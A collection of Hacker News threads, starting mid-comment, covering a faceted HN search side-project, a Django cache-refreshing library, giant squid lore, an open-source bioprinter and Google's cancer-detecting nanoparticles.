<comment><USER4> I missed that, the "about me" section is pretty neutral but the tagline in the footer says the Fix delivers your daily dose of _right_ [italics theirs]-minded journalism.

Could someone here read the actual paper and its academic criticism rather than just falling into party lines on the issue? I'm sleepy or I'd do it.</comment></comment>


Ask HN: review searchyt (faceted search for HN) - <AUTHOR>

Hey folks,
It would be great if you could let me know about the utility of a side-project I have just launched. Its called searchyt:
http://news.ycombinator.com/item?id=3174607
http://searchyt.twittrank.info/
searchyt helps you filter out HN search results based on age, #comments & #points. I figured it might be worthwhile to run queries such as:
- What were the most commented stories last week? - What were the most voted stories last month? - What were the least commented stories with the most points?
Cheers! <comment><USER2> My first impressions are positive. I especially like the ability to filter by number of comments. It gives an indicator for popular but possibly contentious topics that stand a good chance of giving me some interesting discussions to read.

<comment><AUTHOR> Thanks for the feedback!

</comment></comment><comment><USER3> Looks good, I'm going to try it out. Can you keep the left sidebar static as the page scrolls down?

<http://searchyt.twittrank.info>

<comment><USER4> Your original entry ( id=3189015 ) went dead, and I have no way of referring anyone to you; can you put some contact information in your profile?

<comment><USER3> Pavel: Yes, I see that now. I don't know why. Are you interested? Should I email you?</comment></comment></comment>


Cacheback - asynchronous cache refreshing for Django - <AUTHOR> http://codeinthehole.com/writing/cacheback-asynchronous-cache-refreshing-for-django/ <comment><USER2> Great pattern!

Are there any ruby gems that implement the same?</comment>


Release the kraken – 2,000 years of tall tales - <AUTHOR> http://arstechnica.com/science/2013/01/release-the-kraken-2000-years-of-tall-tales-and-a-smattering-of-truth/

<comment><USER2> We should start a fund for any biologists who can make giant squid taste at least as good as trivial squid. There have been many jokes about how tasty these are. I once tried raw squid at a Japanese restaurant, against the owner's advice. The dominant flavor was ammonia (which they use for buoyancy). It seems from these tales, their giant cousins would taste even worse.

<http://io9.com/5800495/architeuthis-on-ice> "When Roper handed his hot-off- the-grill delicacy around to the dinner guests, it turned out that he was the only diner willing to partake. He didn't eat much. Architeuthis flesh tasted like ammonia, something like floor cleaner, perhaps, he declared. Since his experiment, other scientists had concurred with Roper's "floor cleaner" finding."</comment>


Ourobotics releases completely open source Renegade 3D bioprinter - <AUTHOR> http://www.3ders.org/articles/20160204-ourobotics-releases-completely-open-source-renegade-3d-bioprinter.html <comment><USER2> This seems cool, but a bit expensive.</comment>


Google's Newest Search: Cancer Cells - <AUTHOR> http://online.wsj.com/articles/google-designing-nanoparticles-to-patrol-human-body-for-disease-1414515602

<comment><USER2> Google search to get full text: [https://www.google.com/search?q=Google's+Newest+Search%3A+Ca...](https://www.google.com/search?q=Google's+Newest+Search%3A+Cancer+Cells)</comment>